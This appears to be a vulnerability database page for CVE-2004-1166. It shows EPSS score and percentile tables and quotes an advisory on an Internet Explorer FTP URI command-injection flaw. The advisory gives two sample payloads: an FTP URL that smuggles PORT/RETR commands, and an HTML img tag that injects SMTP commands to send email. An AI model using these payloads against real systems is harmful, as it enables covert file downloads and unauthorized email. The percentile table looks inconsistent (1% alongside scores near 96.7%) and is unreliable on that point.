CVE-2004-1166 : Detail

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

Date	EPSS V0	EPSS V1	EPSS V2 (> 2022-02-04)	EPSS V3 (> 2025-03-07)	EPSS V4 (> 2025-03-17)
2022-02-06	–	–	44.55%	–	–
2023-03-12	–	–	–	96.74%	–
2023-04-02	–	–	–	96.76%	–
2023-08-06	–	–	–	96.76%	–
2023-11-19	–	–	–	96.78%	–
2024-06-02	–	–	–	96.78%	–
2024-06-23	–	–	–	96.75%	–
2024-12-22	–	–	–	96.73%	–
2025-01-19	–	–	–	96.73%	–
2025-03-18	–	–	–	–	78.78%
2025-03-30	–	–	–	–	75.21%
2025-03-30	–	–	–	–	75.21,%

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Date	Percentile
2022-02-06	98%
2023-03-12	99%
2023-04-02	99%
2023-08-06	1%
2023-11-19	1%
2024-06-02	1%
2024-06-23	1%
2024-12-22	1%
2025-01-19	1%
2025-03-18	99%
2025-03-30	99%
2025-03-30	99%

source: https://www.securityfocus.com/bid/11826/info Microsoft Internet Explorer is reported prone to an arbitrary FTP server command-execution vulnerability. This issue is due to the application's failure to properly sanitize user-supplied URI input before using it to execute FTP commands on remote servers. This vulnerability allows attackers to embed arbitrary FTP server commands in malicious URIs. Upon following this malicious URI, the victim user's browser will reportedly connect to the attacker-specified FTP server, and the malicious commands will be sent to the server. This may allow malicious files to be downloaded to the victim's computer without their knowledge. Other attacks are also likely possible. Note: Reportedly, this issue can be leveraged to send email to arbitrary addresses without user interaction. ftp://ftp.example.com/%0aPORT%20a,b,c,d,e,f%0aRETR%20/file The 'a,b,c,d,e,f' would represent the IP address and port specifications, as per the FTP RFCs. This issue has also been reported to allow for the sending of email without user interaction. Embedding the following image into an HTML page reportedly sends an email: <img src="ftp://foo%0d%0aHELO%20mail%0d%0aMAIL%20FROM%3a<>%0d%0aRCPT%20TO%3a<username%40example.com>%0d%0aDATA%0d%0aSubject%3a%20hacked%0d%0aTo%3a%20username%40example.com%0d%0a%0d%0ahacked%0d%0a.%0d%0a:username@mx.example.net:25/" />